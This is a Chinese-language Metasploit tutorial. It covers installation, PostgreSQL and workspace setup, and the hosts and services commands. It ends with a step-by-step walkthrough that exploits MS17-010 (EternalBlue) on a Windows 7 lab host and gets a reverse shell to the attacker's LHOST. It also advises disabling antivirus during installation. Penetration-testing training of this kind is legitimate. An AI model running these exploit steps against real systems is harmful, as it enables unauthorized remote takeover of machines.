简介
Metasploit是目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一。它彻底改变了我们执行安全测试的方式。
Metasploit之所以流行,是因为它可以执行广泛的安全测试任务,从而简化渗透测试的工作。Metasploit 适用于所有流行的操作系统,本文中,主要以Kali Linux为主。因为Kali Linux预装了 Metasploit 框架和运行在框架上的其他第三方工具。
在Windows上安装Metasploit非常简单,直接从官方下载(http://www.metasploit.com/download).安装文件进行安装即可。
准备工作
Metasploit的四个版本:
Pro:适用于渗透测试人员和IT安全团队
Express:适用于一般IT人员
Community:适用于小公司和学生
Framework:适用于开发人员和安全研究人员
请从官网下载最新版的 Metasploit Framework
(https://windows.metasploit.com/metasploitframework-latest.msi)
它包含控制台程序和其他依赖程序。
如何安装
下载完之后,运行即可,它将自动安装相关所有组件。
Tip:在Windows上安装Metasploit时候,应该禁用防护软件,因为可能会检测到一些安装文件为恶意程序,从而阻止安装过程。安装完后将 Metasploit加入到防护软件的白名单。
配置PostgreSQL数据库
Metasploit的一个重要特性是支持PostgreSQL数据库,使用它来存储渗透测试结果和漏洞信息。
准备工作
启动服务,然后使用 Metasploit msfdb 初始化数据库
怎么做
1、启动数据库
root@osboxes:~# systemctl start postgresql
12
2、初始化数据库
~# msfdb init
Creating database user 'msf'
Enter password for new role:
Enter it again:
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database schema
3、修改数据库配置文件
我们可以直接编辑 database.yml文件,文件位于/usr/share/metasploit-framework/config/database.yml
~# cat /usr/share/metasploit-framework/config/database.yml :
development:
adapter: postgresql
database: msf
username: msf
password: 9JHbuu/CdoGT0kvBiSXf+VLDRQ9dKKpMYyWKY6Ui2jc=
host: localhost
port: 5432
pool: 5
timeout: 5
production:
adapter: postgresql
database: msf
username: msf
password: 9JHbuu/CdoGT0kvBiSXf+VLDRQ9dKKpMYyWKY6Ui2jc=
host: localhost
port: 5432
pool: 5
timeout: 5
test:
adapter: postgresql
database: msf_test
username: msf
password: 9JHbuu/CdoGT0kvBiSXf+VLDRQ9dKKpMYyWKY6Ui2jc=
host: localhost
port: 5432
pool: 5
timeout: 5
里面的usrname和password是默认配置的,你可以根据自己的喜好进行更改
4、确定是否连接到数据库
启动msfconsole,然后执行db_status,检查数据库连接情况。
msf > db_status
postgresql connected to msf
msf >
更多
如果要手动连接到数据库,可以使用如下命令:
db_connect <user:pass>@<host:port>/<database>
我们可以使用databse.yml文件测试db_connect命令
msf > db_disconnect //断开连接
msf > db_status //查看连接状态
[ ] postgresql selected, no connection
msf > db_connect
[ ] Usage: db_connect <user:pass>@<host:port>/<database>
[ ] OR: db_connect -y [path/to/database.yml]
[ ] Examples:
[ ] db_connect user@metasploit3
[192.168.0.2/metasploit3 ] db_connect user:pass@
[192.168.0.2:1500/metasploit3 ] db_connect user:pass@
msf > db_connect -y /usr/share/metasploit-framework/config/database.yml //连接数据库
[in the background... ] Rebuilding the module cache
msf > db_status //查看连接状态
[ ] postgresql connected to msf
msf >
九、创建工作区
Metasploit中有工作区的概念,可以用来隔离不同的渗透测试任务,从而避免混淆不同的测试。
怎么做
1、默认工作区
默认工作区是default,输入workspace查看
msf > workspace
default
msf >
输入workspace -h 查看命令帮助
msf > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r <old> <new> Rename workspace
workspace -h Show this help information
msf >
2、新建工作区
使用workspace -a命令添加新的工作区
msf > workspace -a book
Added workspace: book
msf > workspace
default
book
msf >
3、删除工作区
使用workspace -d命令删除工作区
msf > workspace -d book
[ ] Deleted workspace: book
[default ] Switched workspace:
4、更改工作区
使用workspace命令更改工作区
msf > workspace book
[ ] Workspace: book
5、重命名工作区
使用workspace -r命令更改工作区
msf > workspace -r book msf
Switched workspace: msf
msf >
十、使用数据库
配置完数据库,我们就可以使用它了,首先我们了解如何使用db_import导入外部工具数据。
准备工作
在msfconsole中运行db_import命令,查看支持的文件类型
msf > db_import
Usage: db_import <filename> [file2...]
Filenames can be globs like *.xml, or **/*.xml which will search recursively
Currently supported file types include:
Acunetix
Amap Log
Amap Log -m
Appscan
Burp Session XML
Burp Issue XML
CI
Foundstone
FusionVM XML
Wapiti XML
msf >
怎么做
1、导入nmap扫描结果
先完成扫描,保存结果为 XML 文档
root@osboxes:~# nmap -Pn -A -oX report 192.168.177.139
2、然后执行 db_import PATH进行导入
msf > db_import /root/report
['Nmap XML' data ] Importing
['Nokogiri v1.8.5' ] Import: Parsing with
[192.168.177.139 ] Importing host
[ ] Successfully imported /root/report
msf >
3、当然也可以直接在msfconsole中运行dbnmap进行扫描,这样结果就直接保存到当前数据库中了,dbnmap 命令的参数与nmap 命令相同。
十一、使用 hosts 命令
既然数据库中有了数据,就可以使用hosts命令来显示当前工作区中存储的所有主机了。
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.177.139 00:0c:29:c6:a9:e5 Unknown device
msf >
怎么做
1、查看命令帮助hosts -h
msf > hosts -h
Usage: hosts [ options ] [addr1 addr2 ...]
OPTIONS:
-a,--add Add the hosts instead of searching
-d,--delete Delete the hosts instead of searching
-c <col1,col2> Only show the given columns (see list below)
-C <col1,col2> Only show the given columns until the next restart (see list below)
-h,--help Show this help information
-u,--up Only show hosts which are up
-o <file> Send output to a file in csv format
-O <column> Order rows by specified column number
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
-i,--info Change the info of a host
-n,--name Change the name of a host
-m,--comment Change the comment of a host
-t,--tag Add or specify a tag to a range of hosts
Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags
msf >
十二、理解 services 命令
services命令作用是显示目标主机上可用的服务
查看命令帮助:
msf > services -h
Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]
-a,--add Add the services instead of searching
-d,--delete Delete the services instead of searching
-c <col1,col2> Only show the given columns
-h,--help Show this help information
-s <name1,name2> Search for a list of service names
-p <port1,port2> Search for a list of ports
-r <protocol> Only show [tcp|udp] services
-u,--up Only show services which are up
-o <file> Send output to a file in csv format
-O <column> Order rows by specified column number
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
Available columns: created_at, info, name, port, proto, state, updated_at
怎么做
1、显示所有可用服务
msf > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.177.142 22 tcp ssh open OpenSSH 5.3p1 Debian 3ubuntu4 Ubuntu Linux; protocol 2.0
192.168.177.142 80 tcp http open Apache httpd 2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
192.168.177.142 139 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP
192.168.177.142 143 tcp imap open Courier Imapd released 2008
192.168.177.142 443 tcp ssl/https open
192.168.177.142 445 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP
192.168.177.142 5001 tcp java-rmi open Java RMI
192.168.177.142 8080 tcp http open Apache Tomcat/Coyote JSP engine 1.1
192.168.177.142 8081 tcp http open Jetty 6.1.25
msf >
2、过滤服务
msf > services -s http
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.177.142 80 tcp http open Apache httpd 2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
192.168.177.142 8080 tcp http open Apache Tomcat/Coyote JSP engine 1.1
192.168.177.142 8081 tcp http open Jetty 6.1.25
实战-使用msf渗透攻击Win7主机
第一步-确定目标及漏洞
目标:192.168.1.131
漏洞:MS17-010
目的:拿到最高权限,进行远程代码执行
用nmap扫描主机开放445端口,接下用msf测试一下漏洞是否存在。5.2 第二步-查找验证模块并且调用
使用#msfconsole命令调用Metasploit框架,如图:
使用#search MS17-010命令,搜索查找MS17-010漏洞模块,如图:
这里我们先选择#1的auxiliary(辅助模块)先进行踩点,查看漏洞是否可以利用,再去进行渗透攻击。如图:
使用#show options 命令,查看需要设置的选项(Required为yes是必须设置的选项)。
使用#set RHOSTS 192.168.1.131 命令,设置目标地址。
最后使用#run命令去运行查看漏洞是否存在
Host is likely VULNERABLE to MS17-010! 这个主机存在MS17-010漏洞,可以去利用。
检测到该目标操作系统是Windows 7 专业版
接下来我们可以利用exploits模块进行渗透攻击。5.3 第三步-利用exploist模块进行渗透
第二步骤的时候检测到目标存在该漏洞,现在我们开始进行渗透。
先使用#back命令退出辅助模块,如图:
使用#search MS17-010命令,搜索MS17-010模块,如图:
我们在第二步的时候使用的是auxiliary模块进行的漏洞检测,这回我们使用exploit模块进行漏洞利用。这里我们选择#2#use exploit/windows/smb/ms17_010_eternalblue
使用#show options命令,查看需要设置的参数,如图:
这里我们看见多出一个payload选项,这个选项的用处主要是渗透攻击成功后目标机与LHOST建立的Shell连接,所以LHOST参数设置我们自己本地的IP地址,RHOSTS参数还是目标IPset RHOSTS 192.168.1.131 //设置exploit,目标IP
set LHOST 192.168.1.138 //设置payload
2
如图:
最后使用#run命令去运行exploit
显示192.168.1.138:4444 -> 192.168.1.131:49160
我们已经所渗透成功了,现在我们已经拿到目标机的Shell了。
我们可以使用#shell命令,在目标机打开一个shell。
如果显示乱码,用#chcp 65001命令,改成UTF-8代码页。
更多资源:
原文始发于微信公众号(TKing的安全圈):Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论